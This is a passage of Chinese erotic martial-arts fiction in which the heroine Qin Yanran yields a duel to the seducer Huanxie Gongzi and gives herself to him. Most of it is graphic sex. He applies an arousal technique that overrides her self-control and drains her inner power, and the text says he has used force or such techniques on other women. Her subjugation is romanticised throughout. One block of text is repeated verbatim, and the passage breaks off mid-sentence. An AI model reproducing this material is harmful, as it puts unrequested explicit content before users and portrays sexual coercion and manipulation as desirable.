「是吗?」吁了一口气,琴嫣然右手微动,长剑一声不响地从背后的剑鞘中滑了出来,像是生了眼睛般地滑到她手上去。以背脊用力竟能完全不出半点声音地推出长剑,光这手功力就足以惊世骇俗了,不过看幻邪公子的神态,好像完全不把这手高深功力放在心上,倒不知他是早知琴嫣然有这一手,或是这手功力还不放在眼里呢?


「果然不错.看来在下今日要得偿所愿,还得好好打上一架,不过仙子你放心,当年我既敢叛师出门,就有把握实力不在幻雷公之下,你若胜了倒好,若仙子你输了一招,落在我手里,我保证让你身心俱爽,嚐到身为女子最大的快乐,在下绝不可能会力有未逮的。」邪邪地一笑,幻邪公子慢慢走前几步,距琴嫣然已不过两步之遥,但这几步却显示他的武功也已臻登峰造极之境,虽然走得慢,但在琴嫣然这等高手面前,却完全不露一点破绽.从一到峰顶开始,两人都全心全意地注意着对方,一旦其中一方稍有不慎,立刻就是短兵相接之局,而且绝对不会给对方有任何扳回的机会。


看着琴嫣然反手将剑藏在臂后,右手缓缓举起,正对着幻邪公子的剑柄距他已不足两尺,全神贯注在琴嫣然右手的幻邪公子嘴上不说,心下却不得不紧张起来,这种起手式他可从来没看琴嫣然使过,更不像是任何武林招式,若是换了旁人,他会以为这人不过虚张声势而已,但对手是「紫玉仙姑」琴嫣然,连幻雷公都败在她手下,幻邪公子可不敢有任何一点放松。


琴嫣然缓缓举步,走向幻邪公子,平举的右手却是纹风不动,慢慢地触到了幻邪公子肩头,同时幻邪公子的右手也已虚拟作势,功力凝聚的指尖几乎已可感觉到琴嫣然脖颈的暖气。这么近的距离,幻邪公子虽然嗅着琴嫣然醉人的处子幽香,嘴上还是带着淫邪的笑意,心下却丝毫没有一点点轻松,连对决幻雷公时他都没有这么没把握的感觉.


「没必要再比,嫣然输了。」嘴角微微一笑,琴嫣然右手轻挥,长剑已滑入左手的鞘中,从她那纤细精巧的葱指中落到了地面,她又跨了一小步,泛着诱人幽香的胴体几乎已在幻邪公子怀中。


「为什么?」虽然仍摆着一样的势子,但幻邪公子也收了劲,他感觉得到琴嫣然是真的没有一点敌意,只是不知到底为什么.


「我们天山派的内功,最重「以一贯之」之道,只要练功起处的穴道被对手知道,就等於被把握住了窍门,可说是任凭宰割,你曾把雅菁弄上床去过,该不会不知道这一点吧?」不答幻邪公子的问题,琴嫣然闭上眼睛,纤手一拂,白纱的面巾已滑到了手中。虽是看似娇柔无力地偎在幻邪公子怀中,但琴嫣然的纤纤玉手却微微地绞扭着纱巾,显然她心中也相当紧张。


「没错.」


「嫣然的窍门就在…就在会阴,这样你可知道嫣然是真的认输了,是不是?」


「嗯。可是我还是想问,仙子你为什么这么快就认输了?」


「可不可以…求你不要问…等到你得到嫣然之后再…再说?」


「既然这样,仙子你该不会怪我先行掌握你的「窍门」吧?」邪邪地一笑,幻邪公子右手轻轻地环上了琴嫣然的颈后,左手却慢条斯理地开始解起琴嫣然的裙带,光从琴嫣然嫩颊泛红、面泛桃花,却是颔首轻应,任他施为,幻邪公子知道这「紫玉仙姑」是真的不会抵抗了。他灵巧的左手半解琴嫣然粉红色的裙带,急不可抑地滑入了琴嫣然裙内,刚开始的动作虽快,但进去之后却缓慢了下来,幻邪公子的手慢慢地动着,掌心慢慢地贴在琴嫣然嫩滑柔软的小腹上,逐步逐步地下移,指尖缓缓地拨开了她和发丝一般柔软纤细的毛发,温柔地扣上少女的要害地带。琴嫣然的脸蛋儿一下子涨红了,在幻邪公子怀中轻微地颤抖着,但却没有一点儿反抗的表示,反而偎得他更紧,任凭他搓揉着琴嫣然敏感的蒂芯,等到幻邪公子满足了手足之欲,手指开始在琴嫣然股间会阴穴搓揉时,既冷且艳的「紫玉仙姑」琴嫣然已是情思荡漾、浑身发软,若不是她藕臂抱在他身上,只怕已要滑了下去。


左手灵巧地享受着琴嫣然温热柔软的肌肤,幻邪公子嘴边挂着淫邪的笑意,原本只是轻缓搓弄的左手突地动作起来,在琴嫣然会阴穴上一阵小雨般的轻抚快捻、连抹带挑,一股股暖流滑入琴嫣然体内,烘得琴嫣然小腹里暖暖热热的,像是一股火正在狂烧一般。惹得琴嫣然一声声娇吟。虽然早知会被他彻底淫辱,将她的羞耻心完全摧毁,但琴嫣然怎么也想像不到,幻邪公子竟会选在她的会阴穴上动手,这异样的火热感,还有在体内造成的灼热和冲动,保证是这人仗以成名、淫女无数的催情手法没错,若是他不肯解开这手法,以后只要琴嫣然一运功,就等於带着催发的情欲在体内走一遭,让欲火烧遍全身每一寸肌肤,完全毁掉她的自制力,比任何春药媚毒更要厉害,这个幻邪公子果然名不虚传,一出手就掌握了琴嫣然的要害!


「现在可以告诉我了吗?」幻邪公子心中一块大石落了地,虽然还没有真正侵犯这高洁出尘的仙子,但他几乎可以确定,被他这一「经手」之后,琴嫣然已难再逃出欲火焚身的陷阱,很快他就可让这「紫玉仙姑」在他身下娇吟求饶、声声甜喘了。


「你…你果然是个大坏蛋…」任凭幻邪公子玩弄着她,琴嫣然面颊晕红如桃花,小嘴在他耳边不断娇喘着,虽是百般不依,但这幻邪公子的确是女人的剋星,只是一只左手,便已让情窦初开的琴嫣然浑身犹如虫行蚁走,欲火不可抑制了。


「别…别再弄了…嫣然招…招供就是…」连眼都睁不开来,声音既娇甜又柔软,就算真有仙女下凡也不过如此,轻声呻吟、媚语讨饶的琴嫣然感觉幻邪公子的指腹正温柔地按摩在她会阴穴上,虽然是又柔软又舒服,弄得琴嫣然整个人都酥瘫了,不过以他为人,多半这温柔之中,又有着什么挑情的陷阱吧!


「从猜到你的身份开始,嫣然就一直在想,原先是想着要怎么样对付你…可是我没有办法,嫣然怎么也无法说服自己对你出手,更没有办法离开你身边,明知你已害了雅菁,明知你正觊觎嫣然的身体,明知你这恶魔最后一定会把嫣然始乱终弃,可是嫣然…嫣然怎么样也没有办法对付你…所以…所以嫣然只好认输…把你带来这不会有人打扰的地方,只要你高兴就好,随你要把嫣然怎么样都行…」


「真的怎么样都可以吗?」


「嗯…」睁开了眼睛,琴嫣然主动吻了他一口,妙目流盼处真可说是风情万种,把芳心里的话全说了出来,她似也放松多了,从定心要将自己交给这人,琴嫣然心就一直静不下来,即使连屋子都摆设佈置好了,但那紧张却直到此刻才松开来,反正什么话都说了,他又已经在自己身上施加了情欲手段,现在要逃也来不及了。


「公子…你不会让嫣然失望吧…」


「那是当然。虽然我很想要,但我想仙子你也不会喜欢在这儿宽衣解带,被我整个剥光,就地让你成为真正的女人,我们到屋里床上再好好的玩吧!」抱起了被他轻薄的衣衫不整、娇羞无伦,芳心中却是又期待又害怕的「紫玉仙姑」琴嫣然,幻邪公子慢慢地走入了屋内。


「从猜到你的身份开始,嫣然就一直在想,原先是想着要怎么样对付你…可是我没有办法,嫣然怎么也无法说服自己对你出手,更没有办法离开你身边,明知你已害了雅菁,明知你正觊觎嫣然的身体,明知你这恶魔最后一定会把嫣然始乱终弃,可是嫣然…嫣然怎么样也没有办法对付你…所以…所以嫣然只好认输…把你带来这不会有人打扰的地方,只要你高兴就好,随你要把嫣然怎么样都行…」


「真的怎么样都可以吗?」


「嗯…」睁开了眼睛,琴嫣然主动吻了他一口,妙目流盼处真可说是风情万种,把芳心里的话全说了出来,她似也放松多了,从定心要将自己交给这人,琴嫣然心就一直静不下来,即使连屋子都摆设佈置好了,但那紧张却直到此刻才松开来,反正什么话都说了,他又已经在自己身上施加了情欲手段,现在要逃也来不及了。


「公子…你不会让嫣然失望吧…」


「那是当然。虽然我很想要,但我想仙子你也不会喜欢在这儿宽衣解带,被我整个剥光,就地让你成为真正的女人,我们到屋里床上再好好的玩吧!」抱起了被他轻薄的衣衫不整、娇羞无伦,芳心中却是又期待又害怕的「紫玉仙姑」琴嫣然,幻邪公子慢慢地走入了屋内。


紫玉仙女2


坐在他的怀中,琴嫣然娇吟的声音更甜了,幻邪公子的手不断抚爱着她那敏感娇弱的小蒂,手指还在她水滑潺潺的小穴中轻勾着,弄得指尖又黏又滑,她的小穴更是不住收缩着,排泄着一丝丝甜蜜的汁液;而更让琴嫣然娇羞无力的,是幻邪公子的禄山之爪,不知何时起已解开了琴嫣然密密的领扣,滑入了她衣内,火热地抚爱揉搓着她的双峰。


「嫣然…好仙子…你比我想像的还厉害呢!」轻轻舐着琴嫣然柔软的耳根,幻邪公子故意用声音轻薄着她,琴嫣然既羞又恼,但他的轻薄却又让她的芳心甜甜的。早知道要在这儿献身给他,琴嫣然不只是佈置好了房间而已,临行之前她百般思量,好不容易她才说服自己,没有把肚兜穿在里面,光在奔行和动手时,敏感至极的乳峰被衣裳磨擦着,琴嫣然就已经羞在心里,千百次埋怨自己为什么这么急色了。但幻邪公子的手一摸上来,琴嫣然就知道自己是对的,他的手似带着无边魔力,光是在琴嫣然颈上那一阵搓揉,已经让她软化了下来,这一直接扣关,热热的掌心更是瞬间便烧的琴嫣然浑身欲焰熊熊,他的手掌温柔地爱抚着她的酥胸,又急色又贪婪地轻揉重捻,搞得琴嫣然不禁娇声喘息起来。幻邪公子也是大出意料之下,不穿内衣这大胆的穿法就不必说了,琴嫣然的衣裳一向雪白出尘,包的密密实实的,完全将好身材遮掩着,即使在那次他看到琴嫣然出浴后的娇躯,也只注意到她那修长笔直的玉腿,以他的经验,这样的长腿女郎腰力都很够,床上更是妖冶诱人,足以和他翻云覆雨一整晚,那乐趣可不是江南的娇小美女能比的;但现在幻邪公子发现了,琴嫣然除了那双迷死人的长腿外,胸前那美丽的女性象徵更是丰隆诱人,虽然还没有亲眼看到,但光凭手上揉搓抚弄的感觉,那丰乳根本无法一手掌握,又柔软又高挺,光是抚弄都舒服极了,惹得他手上慢慢用力起来,将琴嫣然那丰满的乳房在手中恣意把玩着,无比的性欲刺激让琴嫣然全身火热,那出众的丰挺酥胸不只是诱惑而已,更是敏感过人,光琴嫣然自己不小心触及时,那奇异的感觉都让她难受半天,何况是被这么经验丰富的坏蛋抚玩?她倒在男人怀中,娇声呻吟着,双手无力地抓在他背上,对他这么轻重自如地玩弄着她的酥胸,琴嫣然娇羞无限,想阻止他又爱他这样爱抚,整个人已经是晕陶陶的无力自主,她这才知道,为什么赵雅菁、骆冰芸、谢卿霞、斳婷依和无数被幻邪公子玩过的女人,事后会抛弃羞耻,由恨转爱,任他尽情淫玩,这幻邪公子对女人果然有一套!


「好嫣然,你真的想和我上床吗?」


「都…都到这时候了…你…你还问这做什么…公子…」连眼都不睁,琴嫣然娇痴地回应着,虽然是芳心茫茫然,她也知道,幻邪公子之所以这样问,保证又有什么坏手段来玩她了。


「那你就乖乖的…乖乖的在我面前宽衣解带,让我好好鑑赏「紫玉仙姑」的胴体之美,我要好好看看你,在男人眼前脱衣的时候那娇滴滴的媚样儿,别让我失望哦!」


「你…公子…你坏死了…」原想娇嗔不依的,但琴嫣然不过说个不字,幻邪公子的手上已经加紧了揉弄,搓的琴嫣然浑身发烫,酥酥麻麻的,想不听他都不行。


含羞带怨的盼了他一眼,琴嫣然亭亭起立,站在床前,就在幻邪公子双腿之间慢慢地褪去了衣裳,还不时娇媚地盼他一眼,娇躯轻摇,真的是娇滴滴的媚死人了。当琴嫣然脱去上身最后一件衣裳,她那丰满高挺的双乳弹跳出来的那一刹,幻邪公子吹了声口哨,差点就想抱上去,多么美丽的双峰啊!既是丰润无瑕,更是高挺浑圆,随着琴嫣然紧张的呼吸,那轻跃的动作更是娇媚无比,加上琴嫣然肌肤晶莹剔透,雪白的肌理配上微微粉红的血色,那浑圆美丽的骄挺酥胸上头,还有两颗粉红娇嫩的蓓蕾,显得色泽更是美艳,幻邪公子玩遍天下美女,但这般诱人的双峰也是第一次见到。


「好…好看吗?」脱的赤条条的,琴嫣然只觉口乾舌躁,幻邪公子的眼光中似已夹带着火,全身都散发着男人的热力,想把她完全烧化掉,这么近的距离,琴嫣然根本无法躲藏,只能这样任他赏玩,偏偏这羞意却使得原已芳心荡漾的琴嫣然更动情了。


「当然…当然好看了…」幻邪公子从那美景中回过神来,双手轻轻搭在琴嫣然翘挺的圆臀上,微一用力就让赤裸裸的琴嫣然倒入了怀中,让她含羞带怯地为他脱衣解带,这回幻邪公子的双手可不闲着了,琴嫣然只觉丰挺高耸的双乳被他一边一个,又摸又捏的好不快活,刺激无比的快感不住灼着琴嫣然的神经,令她的欲焰更加难抑。从出生到现在,琴嫣然可是第一次被男人这样贪婪的抚爱着,偏偏这男人的手段恰到好处,虽然让她难过,却又在琴嫣然受不了的界线上停下,让那舒服和难受狂乱地交杂在琴嫣然体内,令她既快乐又难过.


抱着琴嫣然倒到了床上,幻邪公子口手齐施,在琴嫣然的每一寸肌肤上留下了爱抚的痕迹,他的技巧高明,琴嫣然又早春心荡漾,在他熟练的抚爱之下,琴嫣然再也无法反应,他那轻薄的言语和动作,无不使琴嫣然娇羞无限。幻邪公子是这般无礼、这般邪淫地在玩弄着她,就好像想要把琴嫣然的身心都淫辱一般,但琴嫣然从一开始就知道这结果,她已经爱上了幻邪公子,不可自拔,一心只想让他得到自己,又怎会在意他的邪心淫行呢?此刻的琴嫣然只觉身心都沉醉在爱欲之中,对他轻薄邪淫的言语动作不但不讨厌,反而是无比欢迎。


全身上下已不知被他抚摸吻吮过多少次,琴嫣然感觉到自己的欲火已经强烈到不能再强了,这时的幻邪公子终於展开了行动,他温柔地分开了琴嫣然的玉腿,手指轻轻地梳理着琴嫣然小穴外头丰润湿淋的毛发,同时间琴嫣然的玉手也触到了幻邪公子那雄伟的淫具,一触之下琴嫣然差点要缩手,他的欲望是这么火热、这么强旺,怪不得幻邪公子对女人像永远不满足似的,要让这天生的宝贝熄火,不知要多少女人崩溃才行呢!


「害怕吗?」


「怕…怕…怕你不肯尽兴呢!」温柔地抚爱着幻邪公子强壮的淫具,琴嫣然知道,很快这巨伟的淫具就要侵入自己的胴体,尽情的抽插翻搅,不只是让琴嫣然破身而已,还要让她的羞耻心完全崩溃消失,在这淫具之下成为幻邪公子的俘虏,但琴嫣然实在爱煞了他,即使是这般凶器她也只有心甘情愿的承受了。


「雅菁说过你的…你的宝贝有多大…多厉害…嫣然早做好心理准备了…公子…好哥哥…尽情的干嫣然吧…就算是痛嫣然也受得了的…」


「不用害怕,痛是一定的,可是我会让你立刻舒服,而且事后一定让你回味无穷,保证你不后悔的。」温柔地吻着琴嫣然娇小的红唇,幻邪公子弓起了腰,让琴嫣然的玉手带领着他的淫具,逐步逐步地进入她的小穴里去,当琴嫣然湿滑的阴唇触及那般巨伟的宝贝时,她本能地缩了一下,但在幻邪公子加意慰抚之下,琴嫣然的芳心再度开了,她轻声哼着,纤手轻轻地带着他的宝贝,顺着那湿滑黏腻,让幻邪公子进入了她。


柳眉微皱,琴嫣然娇滴滴地呻吟出来,幻邪公子那淫具实在是太粗壮了,虽然她的小穴已被爱抚的泉水潺潺,但要承受那天赋异禀,琴嫣然还是紧张了起来。虽是如此,但琴嫣然并没有阻止他,既然已经决定要让这淫邪的恶棍佔有,区区的破瓜之痛绝没有不接受之理,更何况虽然被他的巨大撑的蛮难受,但幻邪公子并没有急色的一插到底,只是款款突入,然而在琴嫣然的穴内轻巧地刮着,刮的琴嫣然舒服极了,那火辣辣的快感令琴嫣然忘却了疼,也使得她穴内更湿滑了,她娇柔地挪挺着纤腰,一点一点地将他吞了进去,幻邪公子也没令她失望,每进一寸就轻柔地旋动着,用那淫具爱抚着琴嫣然娇嫩的穴壁,轻薄的言语和行动更是从没少过,使得她全身都浸浴在甜蜜之中,此刻的琴嫣然真乐得全身都融化了,怪不得幻邪公子能让那么多女人倾心,他的确厉害。


甜甜地吻着琴嫣然,舌头灵巧地带着她的小香舌起舞,享受着少女芬芳的气息,幻邪公子慢慢地进入着她,每当琴嫣然皱眉呼疼时,他就稍停下来,在琴嫣然那柔软嫩滑的肌肤一阵揩油,在琴嫣然娇羞答允后,才更进一步,虽然不是很快,但这般的温存,对他而言其实也是享受,琴嫣然这「紫玉仙姑」不只是那处女穴诱人而已,她身材修长健美,肌肤更是柔软纤细,尤其是那双丰挺高耸的美乳,不论是摸是舐,带给他的享受都是一等一的,幻邪公子自然不会急色,他好整以暇地享受着琴嫣然娇躯的每一寸,慢慢地让欲焰一次次地烧的琴嫣然忘形。这冷艳高洁的仙姑美女还是头一次被男人侵犯,就遇上了这么厉害的欲海高人,他每次轻抚重揉、每次吻舐舔吮,无不让琴嫣然陷入了快乐和难受交杂的官能美妙之中,让她娇滴滴、羞答答地向他渴求,让他逐步入侵。


特意放缓了脚步,让身下的美女更能承受他的款款温存,等到幻邪公子终於破了琴嫣然娇嫩的处女膜,将那淫具深深抵入琴嫣然的花蕊之中,温柔而啜饮着甜美的花蜜时,琴嫣然早已经融化了,连骨头似都软酥,她感觉得到幻邪公子正温柔地啜吸着她,在她最娇弱敏感的处所,一点又一点地将她的精华吸取,琴嫣然也知这销魂蚀骨的快活,会让她处女元阴无法抑制的狂泄出来,任他以採补之术夺去,但这快乐实在是太美妙了,真可说得上是欲仙欲死,教琴嫣然怎么可能抗拒呢?


纤腰款摆、柳眉娇抒、面如桃花、娇痴迎合,琴嫣然配合着幻邪公子的柔缓抽送,一次又一次地暴露出最柔弱的所在,任凭他的淫具或轻柔如羽、或狠猛如狼地吮吸着,元阴泄出的快乐是这般美妙,美的让琴嫣然芳心都飘飘然了,终於,她紧紧噙住了他的口舌,让那高潮的娇吟在他的口中回响,柔媚地软垮了下来。幻邪公子看琴嫣然爽的如此美妙,也不忍心狠攻猛打了,他松开了那口气,只觉一阵快乐的舒泄,射的琴嫣然再次美妙的高吟出声,她一双长腿箍上了他,让幻邪公子那滚烫的精液毫不保留地射进她花蕊之中。


「美吗?我的好仙子?」


「美…美妙透了…嫣然从来…从没试过这么舒服的…好像整个人都昇天了一样…好公子…你真厉害…」满含媚态的美眸睁不开来,琴嫣然主动献上了香吻,让酥软的胴体沉醉在他怀里,沉浸在那高潮的余韵之中,整个人几乎完全软了,再也动不了一根手指头儿。


「不会痛吧?」


「不会…一开始有点…可是…后来就感觉不到痛了…」


「是吗?」幻邪公子搂着一丝不挂、香汗微沁的琴嫣然一翻,从她臀下抽出了琴嫣然的面巾,原本雪白的丝巾上头沾染了一片殷红,还有一波波半乾的汁液,琴嫣然纯洁的证明完全印在上头.幻邪公子本想收起这美艳的面巾,但琴嫣然娇滴滴地阻住了他,纤手轻轻地勾住了纱巾。


「让嫣然收着,好不好?公子你淫女无数,嫣然的落红对你而言,不过是又一个战利品,可是…可是对嫣然来说,这可是最重要的…让嫣然收着,每次看到就想到你,好不好呢?」


「嫣然就收着吧!」幻邪公子微微一笑,双手在琴嫣然湿滑的裸背上一阵轻柔的按摩着,高潮之后这样的爱抚,特别惹人睡意,加上方才被撷取了不少元阴精华,乏力的琴嫣然特别想睡。突然之间,琴嫣然似是想到了什么,重重地吻上了他,轻轻咬着幻邪公子的舌尖。


「好公子…好哥哥…不是要你一定要尽兴吗?怎么…怎么一次就够了?」


「好嫣然,你一次还不够吗?你好色哦!」


「你…你坏…」娇娇地呻吟了几声,琴嫣然再次搂紧了他,高耸的乳尖每在他胸口轻磨,就酥的琴嫣然娇笑轻呼不已。


「雅菁告诉过我…你这人在床上最是渴求的…她才破身就被你连玩了三次,弄得骨头都酥软了,第二天连爬也爬不起来,杭州三仙也是一样,没有女人被你破瓜时没被连干三次的…怎么…」


「刚破瓜的女人最新鲜,尤其是处女元阴滋阴大补,我绝不会放过一丝一毫…可是嫣然你不一样,从一开始你就是心甘情愿的,任我刺激你的每处大穴,让你的元阴尽情倾泄,所以你没有那么痛。虽然开苞时远比她们舒服,但你才破身就泄得太多了,如果我真的连来三次,好嫣然你绝对撑不住的…像你这样守身如玉的高洁仙姑,我要狠狠的玩你,玩到你夜夜死去活来,就连白天也尽情淫乐,让你享尽那温柔风流情趣,可不能一开始就弄伤了,你先好好休息吧,后面我们还有得乐子呢!」


刚睡醒的琴嫣然想伸伸懒腰,但一想到自己还在幻邪公子的怀中,就只好忍了下来,她睁开了微微惺忪的眼儿,幻邪公子果然还在睡,一双手就算睡着了也仍搂在琴嫣然背上,真的是不放她走了。


不敢挣动一下,琴嫣然嫩颊贴上了他赤着的胸口,忍不住轻声咿唔出来,真是暖和呀!连动都不用动一下,琴嫣然就感觉得到,破了身子后的自己和以前真的是完全不一样了,浑身都软酥酥的,好像连力气也被他抽走了不少,虽然昨夜的幻邪公子没怎么狂逞,即使连初次承受的琴嫣然也没怎么疼痛,但是小穴中仍有着异样的感觉,让琴嫣然懒懒的。轻轻地咬住了牙,琴嫣然试一运功,只觉会阴处一股柔和的火气,随着她的内力运行走遍全身,灼的她好舒服又好难过,娇柔的肌肤真想再让他重重的揉捏几下,好让琴嫣然的火平息下去,琴嫣然心中暗叹,又有几分甜意,他的摧情手法果然厉害,看来自己再不能随意运功提气,每一运功就是欲火焚身,无法自抑,非让这紧拥着她的男人痛快大玩特玩不可,那样子的快乐和难受琴嫣然昨夜才经历过,这男人最爱把女孩子逗到再也受不了,什么羞耻都抛到了九霄云外,才肯将女孩子送上仙境去,真教人又爱又恨哪!但这一运功,琴嫣然也发现,自己的功力果然失去不少,至少有两三成的内力随着处女元阴被幻邪公子藉交合吸去,不过那快感真的就像赵雅菁说的一样,让你明知功力丧失,也要心甘情愿的任他拥抱抚爱,尽情地和他云雨巫山,享那鱼水之乐,光只是睡了一次,琴嫣然就感觉得出来,色果然是刮骨钢刀,她的骨髓好像被他刮过一般,将涵藏的一切都刨了出来,任凭他採吸收纳,自幼伐筋洗髓打下的根基对他一点用都没有。


「你真…真是个坏蛋…偏偏嫣然明知会被你採去元功,会被你恣意淫污,到最后还会被你抛弃,却是怎么也离不开你…」琴嫣然声音娇滴滴地,在他胸口轻揩了几下,连昨夜被他弄到最舒服的当儿也没发出这样子的声音,一字一句好像是被柔媚织成的一般,软的让人听了就酥了。


感觉到他双手不自觉的动作,幻邪公子看来也快醒了,琴嫣然不由自主的脸红耳赤,伏在他胸前装睡,明知这傢伙该当听不到她刚说的话,偏是不敢面对他。


感觉到眼皮外已经是一阵亮,幻邪公子双手微微一动,一个柔软的女体还在他怀中沉睡着,那肌肤柔滑如缎,轻抚时传上身来的手感就好像让人快融化了似的,软玉温香中带着丝微一般的肉体火热,他虽然床笫经验丰富,但这么温柔的肌肤也是头一次碰上。睁开了眼睛,幻邪公子嘴角挂着微微的笑意,他轻手轻脚地挪了挪身子,让怀中慵懒的女孩躺得更舒服一些。双手温柔地搓抚着琴嫣然微带汗意的裸背,幻邪公子温柔地搂抱着一丝不挂的她,看都不用看,幻邪公子就感觉到了,身下的床单上还有着昨夜激战的痕迹,高洁如仙、纯洁似花的琴嫣然昨夜想必不太好受,他温柔地看着琴嫣然甜蜜的睡脸,手指轻巧地拂去湿垂在她眼前的秀发,心神忍不住又回到了昨夜。慢慢地回想着昨夜的一切,幻邪公子的嘴角泛起的幸福的笑意,他床上征服女子无数,美色比得上琴嫣然的虽是凤毛麟角,却也不是绝无仅有,但身材像她一样既苗条纤细、又丰润圆满的,连他也是头一次见到,但这还不算什么,幻邪公子在上床前对女孩子用暴力或是摧情手段也不只一次,否则要如何轻松如意地击破深闺女子的矜持?但像琴嫣然这样主动献身给他的,幻邪公子也不禁要心动了。从听说阴刀门对「紫玉仙姑」有所动作开始,连他也不禁对这美女有与趣,连形迹可能暴露给幻雷公和江上清也不怕了,隐瞒身份地躲在琴嫣然身边,果然是有些许的快乐在,或许连他自己也想像不到的,床上满足后的自己,竟然会对被征服的女子心生怜惜。


「好仙子,你真是好可爱喔!」轻声在琴嫣然耳边低语,幻邪公子轻举起琴嫣然纤弱的玉手,搓揉着她春葱般的指尖,昨夜这十只纤纤玉指是怎么样娇软地抓在自己臂上背上,渴求着他的攻陷的,在记忆中竟是如此新鲜甜美,看来自己是真对她动心了呢!温柔地吻着琴嫣然,从面颊逐渐向下,她修长的脖颈娇嫩处一如花蕊,口舌舐上的感觉比爱抚还要令男人舒服。


舌头愈来愈向下移动,装睡的琴嫣然只觉酥痒和快感愈来愈甚,昨夜才被他狠狠「吃」过,吃的琴嫣然骨头都虚了几两几钱,没想到一夜欢愉才过,幻邪公子竟又对她动手了,而且他的欲望还是如此的强烈,口舌在琴嫣然乳上,很快就从轻舔慢吮,像品着玫瑰花瓣般的轻柔,进化成了激情的吻吮,火光强烈而狂野地在琴嫣然体内爆燃,烧得她想再装睡也不成了,昨夜被他勾动的处女情思似又在体内熊熊燃起,琴嫣然双手抱着幻邪公子的头,娇弱地呻吟了起来。


连话也不说一句,幻邪公子勾引女人的手段既强悍又直接,才嚐过箇中滋味的琴嫣然到现在还沉醉着,又怎可能逃得过欲望的灼烧呢?她很快就湿润了,大概因为已经被男人的欲望「洗礼」过了,敏感的胴体很快就适应了欲火燃烧的感觉,而且烧得更激烈。虽然是娇羞不依,但是一早就运过功,让摧情的手法在体内运行,弄得本能地渴求无比,琴嫣然再也不愿抵抗了,她修长的玉腿焦灼地箍上了他的腰,纤柔的玉手再顾不得羞耻和礼教,主动地贴上了他的淫具,将它带了进来。


在嚐过云雨情后,女人会愈来愈容易泄身、愈来愈容易舒爽,何况像琴嫣然这样的女性,她天生的性感一向被羞耻和高洁冷艳的外衣裹着,一旦心甘情愿地将外壳交幻邪公子击破,那欲火就更无法抵抗;更何况还有幻邪公子这般欲海高手带领着,从第一次上床,他就已经把握住琴嫣然纯洁的胴体上每一处性感带,以他纯熟的功夫似重似轻地挑逗着,再加上琴嫣然还沉醉在第一次领受的快乐中,肉体自是一点屏障也无.几乎没有多久,琴嫣然就已经陷入了疯狂的欢乐境界,在幻邪公子的挑逗下,她反过来骑上幻邪公子的身上,让那淫具深深地灼着她敏感的花蕊,在充满媚力的胴体妖冶稚嫩的扭摇挺送之中,那敏感的泉源一次次被他似轻实重地刮搔着,每一刮都让琴嫣然欢喜的嘶叫出声,搔的琴嫣然春泉滚滚,汨汨流在他身上。虽然享受过一次,但琴嫣然在这方面还是太稚拙了,加上她又是如此快乐地享受着,让她的稚拙一次次被男人击破,春心荡漾地享受着被男人征服的快乐,很快两人已经易势,被幻邪公子压在身下的琴嫣然泄的浑身酥软,再没有反击的力气,而他却是如日中天,虽然还强忍着没有强冲猛进,但是他的粗长和热度,已经让琴嫣然经受不起,娇嫩的弱蕊方经蜂蝶狂採,立刻又被他强劲有力的攻陷,没有多久琴嫣然又被送上了快乐的仙境之中了。


「你…你真是好坏…好坏喔…」泄的浑身无力,琴嫣然爽到媚眼如丝,娇滴滴地在他耳边呻吟着,那娇弱的呻吟声中带着无比的满足,慵懒的琴嫣然软绵绵地伸展着娇躯,任他紧紧搂住,再也不肯离开了。


「你不喜欢我这样子吗?」


「怎么…怎么可能不喜欢呢…」琴嫣然再次献上甜吻,什么「紫玉仙姑」的矜持清冷,都抛到了九霄云外。


「既然你也喜欢的话,那我就不放水了喔!」


知道幻邪公子所谓「不放水」的意思,就是他不再怜惜琴嫣然的含苞初破,要在她身上大加挞伐,玩的她死去活来的意思,採补、摧情的淫邪术法,很快琴嫣然就要尽嚐滋味了。


「嫣然…嫣然知道了…好公子,你尽情的弄吧…嫣然只求你两件…两件事…」


「是什么事?如果你服侍得我够味儿,或许我就答应你了。」幻邪公子深深地吻住了她娇艳欲滴的红唇,好久才放,只见身下的琴嫣然娇喘吁吁,天仙般的脸儿晕红如雾,媚得不可方物。


「一个是…是你别这么快採…採死嫣然…好让嫣然服侍你…啊呀!」一声甜蜜娇媚的呼声,琴嫣然闭上眼,感觉到他仍深深插在自己穴内的淫具又在作怪,竟像张嘴般地吸了起来,吸的琴嫣然陶陶然,就好像又登仙境一样。


「第二个呢?」故意在琴嫣然体内作怪,让她沉迷欲火、无法自拔,虽然难受却说不出一点反抗或讨饶的话来,幻邪公子淫淫地笑着,他知道这天香国色的绝色美女,已经再也逃不出自己的手掌心了。


「第…第二个就…就是…哎…舒服透了…公子…」


「好仙子,你光喊舒服,我可不知道你想要什么啊!」


「好…好美…好棒…哎…好公子…好哥哥…嫣然…算嫣然求你…让嫣然说话吧…」


又狠狠地玩了琴嫣然一轮,肏的她连连娇声讨饶,在再次让琴嫣然爽了之后,幻邪公子才松了手,此时的琴嫣然连连舒泄,几乎已经快醒不过来了,好不容易她才含羞说了出来。


「好…好公子…嫣然知道…知道自己只是你的战利品之一…等到你玩厌了嫣然之后,你又会去找别的女人,把嫣然…弃若蔽屣…嫣然不求你留在嫣然身边,只想你…想你尽情在嫣然身上取乐,等到你要抛弃嫣然的时候…别让嫣然醒着送你…」


一句话也不吭,幻邪公子只是双手贴住琴嫣然腰际,缓缓运功,那柔润的火焰很快就让琴嫣然迷失了,她的呻吟逐渐娇嗲起来,明知男人以他邪异的催情手法,正逗的她不可自抑,让她的理智再次崩溃在本能的快乐之中,但琴嫣然完全不愿意抗拒,欲火竟是如此狂烈难耐,她全身都软弱无力,只有本能的冲动是如此狂野,冲的她只渴想要再一次的奔放。


无力地睁开了眼睛,琴嫣然望着床前垂下的薄幕,窗外的车水马龙飘入了耳中,一颗晶亮圆滑的泪水忍不住流下了吹弹可破的嫩颊.虽然身在暖暖的被中,但琴嫣然只觉得自己冷冷的、虚虚的完全不想动,事实上她现在也无力动作,夜来幻邪公子的手段变得比以往强烈许多,那淫具暴烈地像火一样,灼的琴嫣然娇弱的胴体一次次的爆发,然后是一次次的崩溃下来,虚脱似的再也没有半点力气,但幻邪公子却没有一点怜香惜玉,反而是更强猛地展现他的雄风,将琴嫣然乏力的胴体尽情地翻来转去,以各种体位、各种催情手法,将琴嫣然一次次征服於身下。从献身给他算来已经好几个月了,虽然幻邪公子採补的手法还算有节制,但是他肉体的需索甚殷,每夜都让琴嫣然不只一次融化在官能的曼妙律动之中,让她一次比一次泄的更快更舒服,满足到顶的琴嫣然对他这样狂野的需求,真是既爱又怕,偏偏她每次恳求他松手,换来的都是再一次灭顶般的快乐,到后来琴嫣然已经说不出话了,她慵弱地承受着,任